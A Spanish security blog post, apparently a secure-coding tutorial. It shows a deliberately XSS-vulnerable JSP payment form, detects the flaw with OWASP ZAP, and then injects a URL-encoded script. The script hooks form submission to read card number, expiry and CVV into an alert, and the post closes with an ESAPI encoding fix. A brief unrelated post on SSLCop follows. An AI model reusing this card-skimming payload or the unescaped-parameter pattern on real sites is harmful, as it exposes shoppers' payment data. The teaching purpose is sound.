Supongamos que un atacante descubre una vulnerabilidad XSS en una pasarela que procesa pagos con tarjeta de crédito. El formulario donde el usuario debe introducir los datos de su tarjeta de crédito consiste en una página JSP que contiene una vulnerabilidad XSS. Dicha página recibe como parámetro la cantidad a pagar. Una vez el usuario pulse el botón Realizar Pago se procesará la petición, aunque en este caso simplemente se desplegará una ventana emergente indicativa.

Con este ejemplo veremos que sería posible para dicho atacante inyectar un script que le permitiese obtener los datos de la tarjeta de crédito del usuario dispuesto a comprar. La forma mas sencilla de llevar a cabo la inyección podría consistir en añadir el código a inyectar en alguna página web controlada por el atacante y que enlace con la pasarela de pago.

A continuación la página JSP (xss_html.jsp en el ejemplo) que sirve el formulario donde introducir los datos de la tarjeta:

<%@ page language="java" contentType="text/html; charset=ISO-8859-15"
    pageEncoding="ISO-8859-15"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-15">
<title>XSS vulnerable</title>
<script language="javascript">
function sendPaymentRequest(){
  form = document.getElementById("sendForm");
  alert("Would submit form request...");
  return false;
}
</script>
</head>
<body>

<h3>Inserte los datos de su tarjeta</h3>
<form method="POST" name="sendForm" id="sendForm"
onsubmit="return sendPaymentRequest()">

<%
final String amount = request.getParameter("amount");
%>

<table>
<tr>
<td> Cantidad a pagar</td>
<td><input type="text" name="amount" maxlength="6"
 size="6" value="<%=amount%>" /> &euro;<td>
</tr>
<tr>
<td>Tarjeta de crédito</td>
<td><input type="text" name="cc" value="" maxlength="16" size="16"/></td>
</tr>
<tr>
<td>Fecha caducidad (mm/yy)</td>
<td><input type="text" name="expMonth" value="" maxlength="2" size="2"/>
/<input type="text" name="expYear" value="" maxlength="2" size="2"/></td>
</tr>
<tr>
<td>CVV2</td>
<td><input type="password" name="cvv" value="" maxlength="3" size="3"/></td>
</tr>
<tr>
<td colspan="2">
<input type="submit" value="Realizar Pago" name="button1" id="button1" /></td>
</tr>
</table>
</form>
</body>
</html>

Puede verse cómo el parámetro amount recibido se usa para indicar el valor a pagar en el formulario. El usuario accedería a la página de la pasarela de pago, posiblemente de una entidad que le proporciona la suficiente confianza como para introducir los datos de su tarjeta de crédito, desde la página web del atacante, mediante un enlace o un formulario.

A continuación se muestra una imagen con la ventana emergente indicativa que se obtiene cuando se facilita como parámetro amount 21.34:

Por ejemplo, si se despliega como aplicación en el path /securecoding en un Tomcat corriendo en el puerto 8080, puede obtenerse accediendo con el navegador a la URL http://localhost:8080/securecoding/xss_html.jsp?amount=21.34.

Teniendo acceso al código fuente es mas sencillo detectar las vulnerabilidades XSS, pero si se dispone sólo de un navegador web (acceso únicamente al código fuente de la página web servida) debemos usar un método de prueba y error. Afortunadamente, existen varias herramientas para la detección de vulnerabilidades XSS que automatizan este proceso.  En nuestro caso usaremos ZAP de OWASP.

Detectando vulnerabilidades XSS con ZAP de OWASP

 

La herramienta ZAP de OWASP está basada en el proyecto Paros Proxy. Por lo tanto, no es de extrañar que, entre sus muchas funcionalidades, se encuentre el poder usarse como proxy, almacenando los datos de navegación, y permitiendo realizar diversas operaciones sobre los mismos. En nuestro caso, usaremos el escaneo activo que es capaz de detectar varios tipos de vulnerabilidades, entre ellas las del tipo XSS.

Los pasos a seguir para realizar dicho escaneo sobre nuestra página JSP (xss_html.jsp) son muy sencillos. En primer lugar, se debe arrancar la herramienta ZAP e indicarle el puerto donde escuchará el proxy que incluye. A continuación, modificaremos la configuración de nuestro navegador web para que use como proxy ZAP, indicando el puerto correspondiente.

El siguiente paso consiste en completar la secuencia de navegación para que ZAP pueda almacenarla como sesión. Siguiendo con nuestro ejemplo, es suficiente con acceder a la URL http://localhost:8080/securecoding/xss_html.jsp?amount=21.34 (suponiendo que desplegamos la aplicación en un Tomcat local corriendo en el puerto 8080 en el path /securecoding). En la siguiente imagen puede verse como ZAP almacena la sesión:

Finalmente, indicamos a ZAP que realice un escaneo activo.  A continuación se muestran los resultados que nos presenta ZAP:

Puede apreciarse como ZAP nos avisa, con banderas rojas, que el parámetro amount permite ataques XSS. También nos proporciona otras alertas, de las que hablaremos en otra ocasión, relativas a las directivas a aplicar a las Cookies y al autocompletado del formulario.

 

Explotando la vulnerabilidad

 

Una vez ZAP nos ha indicado que amount es vulnerable, vamos a intentar inyectar código javascript que nos desplegará una ventana emergente con los datos de la tarjeta. Para ello, modificaremos el evento onsubmit del formulario de manera que recopile los datos de la tarjeta introducida en dicho formulario, nos los presente (aunque un atacante podría haber intentado enviarlos a algún sitio) y, finalmente, que llame a la función que se llamaba anteriormente para que el usuario no note nada extraño.

Además, con el fin de evitar que el usuario note que ocurre algo extraño, cerramos las del atributo value donde se inserta el valor de amount, y que es donde inyectaremos nuestro código, y también cerramos el campo input añadiendo la secuencia />. A continuación, añadimos el código javascript que muestre la info de la tarjeta. Finalmente, añadimos la cadena <br que quedará cerrada con el /> que viene a continuación (HTML que cierra el input).

Para realizar la prueba no hay mas que introducir la siguiente URL en nuestro navegador:

http://localhost:8080/securecoding/xss_html.jsp?amount=23.44%22
+%2F%3E+%0A%3Cscript+language%3D%27javascript%27%3E+%0Afunction
+sendCC%28%29{+%0A+form+%3D+document.getElementById%28%27
sendForm%27%29%3B+%0A+cc+%3D+form.cc.value%3B+%0A+cvv+%3D
+form.cvv.value%3B+%0A+year+%3D+form.expYear.value%3B+%0A
+month+%3D+form.expMonth.value%3B+%0A+alert%28%27Sending+to+bad+
guy+cc%3A%27+%2B+cc+%2B+%27+date%3A%27+%2B+month+%2B+%27
%2F%27+%2B+year+%2B+%27+cvv%3A%27+%2B+cvv%29%3B%0A+return
+sendPaymentRequest%28%29%3B%0A}+%0A%0Awindow.onload+%3D+
function+%28%29+{+%0A+var+submitForm+%3D+document.getElem
entById%28%27sendForm%27%29%3B%0A+submitForm.setAttribute
%28%27onsubmit%27%2C+%27sendCC%28%29%27%29%3B+%0A}%0A%3C%2Fscript%3E+%3Cbr

Como describimos  anteriormente, hemos añadido los caracteres “/>, seguidos del código javascript, y finalmente los caracteres />, todo codificado según el charset que indica la paǵina web (ISO-8859-15).

Podrán obtenerse los datos de la tarjeta tal y como se aprecia en la siguiente captura de pantalla:

Echando un vistazo al código fuente de la página puede verse el código javascript que realmente ejecuta el navegador:

[...]
<table>
<tr>
<td> Cantidad a pagar</td>
<td><input type="text" name="amount" maxlength="6"
size="6" value="23.44" />
<script language='javascript'>
function sendCC(){
 form = document.getElementById('sendForm');
 cc = form.cc.value;
 cvv = form.cvv.value;
 year = form.expYear.value;
 month = form.expMonth.value;
 alert('Sending to bad guy cc:' + cc  + ' date:' + month + '/' + year + ' cvv:' + cvv);
 return sendPaymentRequest();
}

window.onload = function () {
 var submitForm = document.getElementById('sendForm');
 submitForm.setAttribute('onsubmit', 'sendCC()');
}
</script> <br" /> &euro;<td>
</tr>
<tr>
<td>Tarjeta de crédito</td>
<td> <input type="text" name="cc" value=""
maxlength="16" size="16"/></td>
</tr>

<tr>
<td>Fecha caducidad (mm/yy)</td>
<td><input type="text" name="expMonth" value=""
 maxlength="2" size="2"/>
/<input type="text" name="expYear" value=""
 maxlength="2" size="2"/></td>
</tr>
[...]

Solucionar la vulnerabilidad

 

OWASP también proporciona la librería ESAPI, disponible para varios lenguajes, que permite, entre otras muchas cosas, validar los caracteres recibidos como entrada del usuario o codificar adecuadamente los caracteres según dónde se vayan a utilizar: HTML, atributo HTML, javascript, …

En nuestro caso, únicamente nos preocuparemos únicamente de codificar correctamente los datos de entrada para que no sean interpretados como código javascript por el navegador. Para ello, creamos una copia del JSP anterior, al que llamamos xss_html_esapi.jsp, y en el que reemplazamos la línea:

final String amount = request.getParameter("amount");

Por:

final String amount = ESAPI.encoder().encodeForHTML(request.getParameter("amount"));

Si ahora probamos de nuevo a inyectar nuestro código, obtenemos un resultado distinto: de entrada, aparecen caracteres extraños en el input donde introducir el amount, lo que ya da una pista de que algo ha ido mal. Y, efectivamente, nuestro script no funciona:


De hecho, repitiendo los pasos anteriores, podemos realizar un escaneo activo, usando de nuevo ZAP, sobre este nuevo JSP, y obtenemos:

Puede observarse como el nuevo JSP, aunque sigue siendo vulnerable al problema de la cookie y al autocompletado del formulario, NO es vulnerable a XSS (las banderas rojas que aparecen indican que en el escaneo anterior xss_html.jsp se encontró vulnerable, pero no xss_html_esapi.jsp).

SSLCop permite seleccionar las Entidades Certificadoras (CA) en las que confiar

03/16/2012 1 comment

Cualquier CA considerada de confianza está capacitada para emitir un certificado SSL válido sobre cualquier dominio de Internet. Esto aplica tanto a CAs como Verisign como a cualquier otra oscura CA que haya sido aprobada. En la práctica, esto se traduce en que nuestro navegador web considera seguro el dominio para el que se ha emitido el certificado.

La herramienta SSLCop 1.0 permite seleccionar las entidades certificadoras en las que deseamos confiar según el país. Esto permite eliminar aquellas correspondientes a países de dudosa reputación o seguridad.

Es interesante resaltar que el autor ya ha tenido en cuenta no bloquear las que son responsables de la mayoría de certificados que circulan en internet, aunque se haya seleccionado bloquear el país de origen. Esto aplica igualmente para las CAs relacionadas con Microsoft.

Sólo comentar que sería también deseable poder bloquear CA particulares para evitar las consecuencias que puede tener que una de estas CA se vea comprometida, lo que ha ocurrido recientemente con GlobalSign o Digitar.

Categories: Seguridad Tags: , , ,
%d bloggers like this: